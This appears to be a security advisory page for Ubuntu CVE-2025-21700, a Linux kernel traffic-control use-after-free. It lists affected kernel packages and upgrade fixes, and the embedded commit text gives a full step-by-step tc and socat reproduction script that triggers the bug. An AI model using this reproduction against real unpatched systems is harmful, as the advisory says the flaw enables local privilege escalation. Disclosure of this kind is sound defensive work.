UBUNTU-CVE-2025-21700: High severity ubuntu/linux vulnerability

Q: Who can realistically exploit this issue?

An attacker needs local access and low privileges sufficient to create and modify traffic-control qdisc and class configurations. The described impact is privilege escalation through a use-after-free condition.

Q: What traffic-control operation triggers the vulnerable condition?

The issue is triggered by replacing a child qdisc so that it is moved from one parent to another. The provided reproduction uses tc qdisc replace on the loopback interface after creating nested DRR classes and qdiscs.

Q: Are cloud and FIPS Ubuntu kernel variants included?

Yes. The affected software list includes Ubuntu linux, linux-fips, linux-aws, linux-azure, linux-gcp, and the AWS and Azure FIPS kernel variants.

Published Feb 13, 2025

Updated

In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add on the same node and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

Affected Software

207 affected componentsFixes available

ubuntu/linux*

ubuntu/linux-aws<4.4.0-1142.148

4.4.0-1142.148

ubuntu/linux-azure<4.15.0-1187.202~14.04.1

4.15.0-1187.202~14.04.1

ubuntu/linux-lts-xenial<4.4.0-267.301~14.04.1

4.4.0-267.301~14.04.1

ubuntu/linux<4.4.0-267.301

4.4.0-267.301

ubuntu/linux-aws<4.4.0-1180.195

4.4.0-1180.195

ubuntu/linux-aws-hwe<4.15.0-1179.192~16.04.1

4.15.0-1179.192~16.04.1

ubuntu/linux-azure<4.15.0-1187.202~16.04.1

4.15.0-1187.202~16.04.1

ubuntu/linux-gcp<4.15.0-1172.189~16.04.1

4.15.0-1172.189~16.04.1

ubuntu/linux-hwe<4.15.0-236.248~16.04.1

4.15.0-236.248~16.04.1

ubuntu/linux-kvm<4.4.0-1143.154

4.4.0-1143.154

ubuntu/linux-oracle<4.15.0-1141.152~16.04.1

4.15.0-1141.152~16.04.1

ubuntu/linux-hwe-edge*

ubuntu/linux-fips<4.4.0-1112.119

4.4.0-1112.119

ubuntu/linux-fips*

ubuntu/linux<4.15.0-236.248

4.15.0-236.248

ubuntu/linux-aws<4.15.0-1179.192

4.15.0-1179.192

ubuntu/linux-aws-5.0*

ubuntu/linux-aws-5.3*

ubuntu/linux-aws-5.4<5.4.0-1144.154~18.04.1

5.4.0-1144.154~18.04.1

ubuntu/linux-azure*

ubuntu/linux-azure-4.15<4.15.0-1187.202

4.15.0-1187.202

ubuntu/linux-azure-5.3*

ubuntu/linux-azure-5.4<5.4.0-1149.156~18.04.1

5.4.0-1149.156~18.04.1

ubuntu/linux-azure-edge*

ubuntu/linux-gcp*

ubuntu/linux-gcp-4.15<4.15.0-1172.189

4.15.0-1172.189

ubuntu/linux-gcp-5.3*

ubuntu/linux-gcp-5.4<5.4.0-1147.156~18.04.1

5.4.0-1147.156~18.04.1

ubuntu/linux-gke-4.15*

ubuntu/linux-gke-5.4*

ubuntu/linux-gkeop-5.4*

ubuntu/linux-hwe*

ubuntu/linux-hwe-5.4<5.4.0-214.234~18.04.1

5.4.0-214.234~18.04.1

ubuntu/linux-hwe-edge*

ubuntu/linux-ibm-5.4<5.4.0-1090.95~18.04.1

5.4.0-1090.95~18.04.1

ubuntu/linux-kvm<4.15.0-1162.167

4.15.0-1162.167

ubuntu/linux-oem*

ubuntu/linux-oracle<4.15.0-1141.152

4.15.0-1141.152

ubuntu/linux-oracle-5.0*

ubuntu/linux-oracle-5.3*

ubuntu/linux-oracle-5.4<5.4.0-1142.152~18.04.1

5.4.0-1142.152~18.04.1

ubuntu/linux-raspi-5.4<5.4.0-1129.142~18.04.1

5.4.0-1129.142~18.04.1

ubuntu/linux-aws-fips<4.15.0-2117.123

4.15.0-2117.123

ubuntu/linux-azure-fips<4.15.0-2096.102

4.15.0-2096.102

ubuntu/linux-fips<4.15.0-1134.145

4.15.0-1134.145

ubuntu/linux-gcp-fips<4.15.0-2080.86

4.15.0-2080.86

ubuntu/linux-aws-fips*

ubuntu/linux-azure-fips*

ubuntu/linux-fips*

ubuntu/linux-gcp-fips*

ubuntu/linux<5.4.0-214.234

5.4.0-214.234

ubuntu/linux-aws<5.4.0-1144.154

5.4.0-1144.154

ubuntu/linux-aws-5.15<5.15.0-1082.89~20.04.1

5.15.0-1082.89~20.04.1

ubuntu/linux-azure<5.4.0-1149.156

5.4.0-1149.156

ubuntu/linux-azure-5.15<5.15.0-1087.96~20.04.1

5.15.0-1087.96~20.04.1

ubuntu/linux-bluefield<5.4.0-1103.110

5.4.0-1103.110

ubuntu/linux-gcp<5.4.0-1147.156

5.4.0-1147.156

ubuntu/linux-gcp-5.15<5.15.0-1081.90~20.04.1

5.15.0-1081.90~20.04.1

ubuntu/linux-hwe-5.15<5.15.0-138.148~20.04.1

5.15.0-138.148~20.04.1

ubuntu/linux-ibm<5.4.0-1090.95

5.4.0-1090.95

ubuntu/linux-ibm-5.15<5.15.0-1074.77~20.04.1

5.15.0-1074.77~20.04.1

ubuntu/linux-intel-iotg-5.15<5.15.0-1077.83~20.04.1

5.15.0-1077.83~20.04.1

ubuntu/linux-iot<5.4.0-1049.52

5.4.0-1049.52

ubuntu/linux-kvm<5.4.0-1131.140

5.4.0-1131.140

ubuntu/linux-lowlatency-hwe-5.15<5.15.0-138.148~20.04.1

5.15.0-138.148~20.04.1

ubuntu/linux-oracle<5.4.0-1142.152

5.4.0-1142.152

ubuntu/linux-oracle-5.15<5.15.0-1079.85~20.04.1

5.15.0-1079.85~20.04.1

ubuntu/linux-raspi<5.4.0-1129.142

5.4.0-1129.142

ubuntu/linux-riscv-5.15<5.15.0-1077.81~20.04.1

5.15.0-1077.81~20.04.1

ubuntu/linux-xilinx-zynqmp<5.4.0-1062.66

5.4.0-1062.66

ubuntu/linux-aws-5.11*

ubuntu/linux-aws-5.13*

ubuntu/linux-aws-5.8*

ubuntu/linux-azure-5.11*

ubuntu/linux-azure-5.13*

ubuntu/linux-azure-5.8*

ubuntu/linux-azure-fde*

ubuntu/linux-gcp-5.11*

ubuntu/linux-gcp-5.13*

ubuntu/linux-gcp-5.8*

ubuntu/linux-gke*

ubuntu/linux-gke-5.15*

ubuntu/linux-gkeop*

ubuntu/linux-gkeop-5.15*

ubuntu/linux-hwe-5.11*

ubuntu/linux-hwe-5.13*

ubuntu/linux-hwe-5.8*

ubuntu/linux-intel-5.13*

ubuntu/linux-nvidia-tegra-5.15<5.15.0-1039.39~20.04.1

5.15.0-1039.39~20.04.1

ubuntu/linux-oem-5.10*

ubuntu/linux-oem-5.13*

ubuntu/linux-oem-5.6*

ubuntu/linux-oracle-5.11*

ubuntu/linux-oracle-5.13*

ubuntu/linux-oracle-5.8*

ubuntu/linux-raspi2*

ubuntu/linux-riscv*

ubuntu/linux-riscv-5.11*

ubuntu/linux-riscv-5.8*

ubuntu/linux-aws-fips<5.4.0-1144.155+fips1

5.4.0-1144.155+fips1

ubuntu/linux-azure-fips<5.4.0-1149.157+fips1

5.4.0-1149.157+fips1

ubuntu/linux-fips<5.4.0-1118.128

5.4.0-1118.128

ubuntu/linux-gcp-fips<5.4.0-1147.156+fips1

5.4.0-1147.156+fips1

ubuntu/linux-aws-fips*

ubuntu/linux-azure-fips*

ubuntu/linux-fips*

ubuntu/linux-gcp-fips*

ubuntu/linux<5.15.0-138.148

5.15.0-138.148

ubuntu/linux-allwinner-5.19*

ubuntu/linux-aws<5.15.0-1082.89

5.15.0-1082.89

ubuntu/linux-aws-5.19*

ubuntu/linux-aws-6.2*

ubuntu/linux-aws-6.5*

ubuntu/linux-aws-6.8<6.8.0-1027.29~22.04.1

6.8.0-1027.29~22.04.1

ubuntu/linux-azure<5.15.0-1087.96

5.15.0-1087.96

ubuntu/linux-azure-5.19*

ubuntu/linux-azure-6.2*

ubuntu/linux-azure-6.5*

ubuntu/linux-azure-6.8<6.8.0-1027.32~22.04.1

6.8.0-1027.32~22.04.1

ubuntu/linux-azure-fde<5.15.0-1087.96.1

5.15.0-1087.96.1

ubuntu/linux-azure-fde-5.19*

ubuntu/linux-azure-fde-6.2*

ubuntu/linux-gcp<5.15.0-1081.90

5.15.0-1081.90

ubuntu/linux-gcp-5.19*

ubuntu/linux-gcp-6.2*

ubuntu/linux-gcp-6.5*

ubuntu/linux-gcp-6.8<6.8.0-1028.30~22.04.1

6.8.0-1028.30~22.04.1

ubuntu/linux-gke<5.15.0-1079.85

5.15.0-1079.85

ubuntu/linux-gkeop<5.15.0-1064.72

5.15.0-1064.72

ubuntu/linux-hwe-5.19*

ubuntu/linux-hwe-6.2*

ubuntu/linux-hwe-6.5*

ubuntu/linux-hwe-6.8<6.8.0-58.60~22.04.1

6.8.0-58.60~22.04.1

ubuntu/linux-ibm<5.15.0-1074.77

5.15.0-1074.77

ubuntu/linux-ibm-6.8<6.8.0-1024.24~22.04.1

6.8.0-1024.24~22.04.1

ubuntu/linux-intel-iot-realtime*

ubuntu/linux-intel-iotg<5.15.0-1077.83

5.15.0-1077.83

ubuntu/linux-kvm<5.15.0-1078.83

5.15.0-1078.83

ubuntu/linux-lowlatency<5.15.0-138.148

5.15.0-138.148

ubuntu/linux-lowlatency-hwe-5.19*

ubuntu/linux-lowlatency-hwe-6.2*

ubuntu/linux-lowlatency-hwe-6.5*

ubuntu/linux-lowlatency-hwe-6.8<6.8.0-58.60.1~22.04.1

6.8.0-58.60.1~22.04.1

ubuntu/linux-nvidia<5.15.0-1076.77

5.15.0-1076.77

ubuntu/linux-nvidia-6.2*

ubuntu/linux-nvidia-6.5*

ubuntu/linux-nvidia-6.8<6.8.0-1026.29~22.04.1

6.8.0-1026.29~22.04.1

ubuntu/linux-nvidia-tegra<5.15.0-1035.35

5.15.0-1035.35

ubuntu/linux-nvidia-tegra-igx<5.15.0-1023.23

5.15.0-1023.23

ubuntu/linux-oem-5.17*

ubuntu/linux-oem-6.0*

ubuntu/linux-oem-6.1*

ubuntu/linux-oem-6.5*

ubuntu/linux-oracle<5.15.0-1079.85

5.15.0-1079.85

ubuntu/linux-oracle-6.5*

ubuntu/linux-oracle-6.8<6.8.0-1024.25~22.04.1

6.8.0-1024.25~22.04.1

ubuntu/linux-raspi<5.15.0-1076.79

5.15.0-1076.79

ubuntu/linux-realtime*

ubuntu/linux-riscv*

ubuntu/linux-riscv-5.19*

ubuntu/linux-riscv-6.5*

ubuntu/linux-riscv-6.8<6.8.0-58.60.1~22.04.1

6.8.0-58.60.1~22.04.1

ubuntu/linux-starfive-5.19*

ubuntu/linux-starfive-6.2*

ubuntu/linux-starfive-6.5*

ubuntu/linux-xilinx-zynqmp<5.15.0-1046.50

5.15.0-1046.50

ubuntu/linux-bluefield<5.15.0-1064.66

5.15.0-1064.66

ubuntu/linux-intel-iot-realtime<5.15.0-1075.77

5.15.0-1075.77

ubuntu/linux-realtime<5.15.0-1082.91

5.15.0-1082.91

ubuntu/linux-realtime-6.8<6.8.1-1020.21~22.04.1

6.8.1-1020.21~22.04.1

ubuntu/linux-aws-fips*

ubuntu/linux-azure-fips*

ubuntu/linux-fips*

ubuntu/linux-gcp-fips*

ubuntu/linux-aws-fips<5.15.0-1082.89+fips1

5.15.0-1082.89+fips1

ubuntu/linux-azure-fips<5.15.0-1087.96+fips1

5.15.0-1087.96+fips1

ubuntu/linux-fips<5.15.0-138.148+fips1

5.15.0-138.148+fips1

ubuntu/linux-gcp-fips<5.15.0-1081.90+fips1

5.15.0-1081.90+fips1

ubuntu/linux<6.8.0-58.60

6.8.0-58.60

ubuntu/linux-aws<6.8.0-1027.29

6.8.0-1027.29

ubuntu/linux-azure<6.8.0-1027.32

6.8.0-1027.32

ubuntu/linux-azure-6.11<6.11.0-1013.13~24.04.1

6.11.0-1013.13~24.04.1

ubuntu/linux-azure-nvidia<6.8.0-1014.15

6.8.0-1014.15

ubuntu/linux-gcp<6.8.0-1028.30

6.8.0-1028.30

ubuntu/linux-gcp-6.11<6.11.0-1013.13~24.04.1

6.11.0-1013.13~24.04.1

ubuntu/linux-gke<6.8.0-1023.27

6.8.0-1023.27

ubuntu/linux-gkeop<6.8.0-1010.12

6.8.0-1010.12

ubuntu/linux-hwe-6.11<6.11.0-24.24~24.04.1

6.11.0-24.24~24.04.1

ubuntu/linux-ibm<6.8.0-1024.24

6.8.0-1024.24

ubuntu/linux-lowlatency<6.8.0-58.60.1

6.8.0-58.60.1

ubuntu/linux-lowlatency-hwe-6.11<6.11.0-1012.13~24.04.1

6.11.0-1012.13~24.04.1

ubuntu/linux-nvidia<6.8.0-1026.29

6.8.0-1026.29

ubuntu/linux-nvidia-6.11<6.11.0-1007.7

6.11.0-1007.7

ubuntu/linux-nvidia-lowlatency<6.8.0-1026.29.1

6.8.0-1026.29.1

ubuntu/linux-nvidia-tegra<6.8.0-1008.8

6.8.0-1008.8

ubuntu/linux-oem-6.11<6.11.0-1020.20

6.11.0-1020.20

ubuntu/linux-oem-6.8<6.8.0-1026.26

6.8.0-1026.26

ubuntu/linux-oracle<6.8.0-1024.25

6.8.0-1024.25

ubuntu/linux-raspi<6.8.0-1028.32

6.8.0-1028.32

ubuntu/linux-raspi-realtime*

ubuntu/linux-realtime*

ubuntu/linux-riscv<6.8.0-58.60.1

6.8.0-58.60.1

ubuntu/linux-xilinx<6.8.0-1017.18

6.8.0-1017.18

ubuntu/linux-raspi-realtime<6.8.0-2023.24

6.8.0-2023.24

ubuntu/linux-realtime<6.8.1-1020.21

6.8.1-1020.21

ubuntu/linux-fips<6.8.0-78.78+fips1

6.8.0-78.78+fips1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

Upgrade
Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.
Fixed in 4.4.0-1142.148
Upgrade
Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.
Fixed in 4.15.0-1187.202~14.04.1
Upgrade
Upgrade ubuntu/linux-lts-xenial to a version that resolves this vulnerability.
Fixed in 4.4.0-267.301~14.04.1
Upgrade
Upgrade ubuntu/linux to a version that resolves this vulnerability.
Fixed in 4.4.0-267.301
Upgrade
Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.
Fixed in 4.4.0-1180.195
Upgrade
Upgrade ubuntu/linux-aws-hwe to a version that resolves this vulnerability.
Fixed in 4.15.0-1179.192~16.04.1
Upgrade
Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.
Fixed in 4.15.0-1187.202~16.04.1
Upgrade
Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.
Fixed in 4.15.0-1172.189~16.04.1
Upgrade
Upgrade ubuntu/linux-hwe to a version that resolves this vulnerability.
Fixed in 4.15.0-236.248~16.04.1
Upgrade
Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.
Fixed in 4.4.0-1143.154
Upgrade
Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.
Fixed in 4.15.0-1141.152~16.04.1
Upgrade
Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.
Fixed in 4.4.0-1112.119
Upgrade
Upgrade ubuntu/linux to a version that resolves this vulnerability.
Fixed in 4.15.0-236.248
Upgrade
Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.
Fixed in 4.15.0-1179.192
Upgrade
Upgrade ubuntu/linux-aws-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1144.154~18.04.1
Upgrade
Upgrade ubuntu/linux-azure-4.15 to a version that resolves this vulnerability.
Fixed in 4.15.0-1187.202
Upgrade
Upgrade ubuntu/linux-azure-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1149.156~18.04.1
Upgrade
Upgrade ubuntu/linux-gcp-4.15 to a version that resolves this vulnerability.
Fixed in 4.15.0-1172.189
Upgrade
Upgrade ubuntu/linux-gcp-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1147.156~18.04.1
Upgrade
Upgrade ubuntu/linux-hwe-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-214.234~18.04.1
Upgrade
Upgrade ubuntu/linux-ibm-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1090.95~18.04.1
Upgrade
Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.
Fixed in 4.15.0-1162.167
Upgrade
Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.
Fixed in 4.15.0-1141.152
Upgrade
Upgrade ubuntu/linux-oracle-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1142.152~18.04.1
Upgrade
Upgrade ubuntu/linux-raspi-5.4 to a version that resolves this vulnerability.
Fixed in 5.4.0-1129.142~18.04.1
Upgrade
Upgrade ubuntu/linux-aws-fips to a version that resolves this vulnerability.
Fixed in 4.15.0-2117.123
Upgrade
Upgrade ubuntu/linux-azure-fips to a version that resolves this vulnerability.
Fixed in 4.15.0-2096.102
Upgrade
Upgrade ubuntu/linux-fips to a version that resolves this vulnerability.
Fixed in 4.15.0-1134.145
Upgrade
Upgrade ubuntu/linux-gcp-fips to a version that resolves this vulnerability.
Fixed in 4.15.0-2080.86
Upgrade
Upgrade ubuntu/linux to a version that resolves this vulnerability.
Fixed in 5.4.0-214.234
Upgrade
Upgrade ubuntu/linux-aws to a version that resolves this vulnerability.
Fixed in 5.4.0-1144.154
Upgrade
Upgrade ubuntu/linux-aws-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-1082.89~20.04.1
Upgrade
Upgrade ubuntu/linux-azure to a version that resolves this vulnerability.
Fixed in 5.4.0-1149.156
Upgrade
Upgrade ubuntu/linux-azure-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-1087.96~20.04.1
Upgrade
Upgrade ubuntu/linux-bluefield to a version that resolves this vulnerability.
Fixed in 5.4.0-1103.110
Upgrade
Upgrade ubuntu/linux-gcp to a version that resolves this vulnerability.
Fixed in 5.4.0-1147.156
Upgrade
Upgrade ubuntu/linux-gcp-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-1081.90~20.04.1
Upgrade
Upgrade ubuntu/linux-hwe-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-138.148~20.04.1
Upgrade
Upgrade ubuntu/linux-ibm to a version that resolves this vulnerability.
Fixed in 5.4.0-1090.95
Upgrade
Upgrade ubuntu/linux-ibm-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-1074.77~20.04.1
Upgrade
Upgrade ubuntu/linux-intel-iotg-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-1077.83~20.04.1
Upgrade
Upgrade ubuntu/linux-iot to a version that resolves this vulnerability.
Fixed in 5.4.0-1049.52
Upgrade
Upgrade ubuntu/linux-kvm to a version that resolves this vulnerability.
Fixed in 5.4.0-1131.140
Upgrade
Upgrade ubuntu/linux-lowlatency-hwe-5.15 to a version that resolves this vulnerability.
Fixed in 5.15.0-138.148~20.04.1
Upgrade
Upgrade ubuntu/linux-oracle to a version that resolves this vulnerability.
Fixed in 5.4.0-1142.152
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Fixed in 5.15.0-1079.85~20.04.1
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Fixed in 5.4.0-1129.142
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Fixed in 5.15.0-1077.81~20.04.1
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Fixed in 5.4.0-1062.66
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Fixed in 5.15.0-1039.39~20.04.1
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Fixed in 5.4.0-1144.155+fips1
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Fixed in 5.4.0-1149.157+fips1
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Fixed in 5.4.0-1118.128
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Fixed in 5.4.0-1147.156+fips1
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Fixed in 5.15.0-138.148
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Fixed in 5.15.0-1082.89
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Fixed in 6.8.0-1027.29~22.04.1
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Fixed in 5.15.0-1087.96
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Fixed in 6.8.0-1027.32~22.04.1
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Fixed in 5.15.0-1087.96.1
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Fixed in 5.15.0-1081.90
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Fixed in 6.8.0-1028.30~22.04.1
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Fixed in 5.15.0-1079.85
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Fixed in 5.15.0-1064.72
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Fixed in 6.8.0-58.60~22.04.1
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Fixed in 5.15.0-1074.77
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Fixed in 6.8.0-1024.24~22.04.1
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Fixed in 5.15.0-1077.83
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Fixed in 5.15.0-1078.83
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Fixed in 5.15.0-138.148
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Fixed in 6.8.0-58.60.1~22.04.1
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Fixed in 5.15.0-1076.77
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Fixed in 6.8.0-1026.29~22.04.1
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Fixed in 5.15.0-1035.35
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Fixed in 5.15.0-1023.23
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Fixed in 5.15.0-1079.85
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Fixed in 6.8.0-1024.25~22.04.1
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Fixed in 5.15.0-1076.79
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Fixed in 6.8.0-58.60.1~22.04.1
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Fixed in 5.15.0-1046.50
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Fixed in 5.15.0-1064.66
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Fixed in 5.15.0-1075.77
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Fixed in 5.15.0-1082.91
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Fixed in 6.8.1-1020.21~22.04.1
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Fixed in 5.15.0-1082.89+fips1
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Fixed in 5.15.0-1087.96+fips1
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Fixed in 5.15.0-138.148+fips1
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Fixed in 5.15.0-1081.90+fips1
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Fixed in 6.8.0-58.60
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Fixed in 6.8.0-1027.29
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Fixed in 6.8.0-1027.32
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Fixed in 6.11.0-1013.13~24.04.1
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Fixed in 6.8.0-1014.15
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Fixed in 6.8.0-1028.30
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Fixed in 6.11.0-1013.13~24.04.1
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Fixed in 6.8.0-1023.27
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Fixed in 6.8.0-1010.12
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Fixed in 6.11.0-24.24~24.04.1
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Fixed in 6.8.0-1024.24
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Fixed in 6.8.0-58.60.1
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Fixed in 6.11.0-1012.13~24.04.1
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Fixed in 6.8.0-1026.29
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Fixed in 6.11.0-1007.7
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Fixed in 6.8.0-1026.29.1
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Fixed in 6.8.0-1008.8
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Fixed in 6.11.0-1020.20
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Fixed in 6.8.0-1026.26
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Fixed in 6.8.0-1024.25
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Fixed in 6.8.0-1028.32
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Fixed in 6.8.0-58.60.1
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Fixed in 6.8.0-1017.18
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Fixed in 6.8.0-2023.24
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Fixed in 6.8.1-1020.21
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Fixed in 6.8.0-78.78+fips1

Event History

Feb 13, 2025

CVE Published

via OSV·12:15 PM

Data Sourced

via OSV·12:15 PM

DescriptionSeverityAffected Software

Frequently Asked Questions

Who can realistically exploit this issue?

An attacker needs local access and low privileges sufficient to create and modify traffic-control qdisc and class configurations. The described impact is privilege escalation through a use-after-free condition.

What traffic-control operation triggers the vulnerable condition?

The issue is triggered by replacing a child qdisc so that it is moved from one parent to another. The provided reproduction uses tc qdisc replace on the loopback interface after creating nested DRR classes and qdiscs.

Are cloud and FIPS Ubuntu kernel variants included?

Yes. The affected software list includes Ubuntu linux, linux-fips, linux-aws, linux-azure, linux-gcp, and the AWS and Azure FIPS kernel variants.

UBUNTU-CVE-2025-21700: High severity ubuntu/linux vulnerability

Affected Software

Remediation

Event History

Frequently Asked Questions

Who can realistically exploit this issue?

What traffic-control operation triggers the vulnerable condition?

Are cloud and FIPS Ubuntu kernel variants included?

Company

Resources

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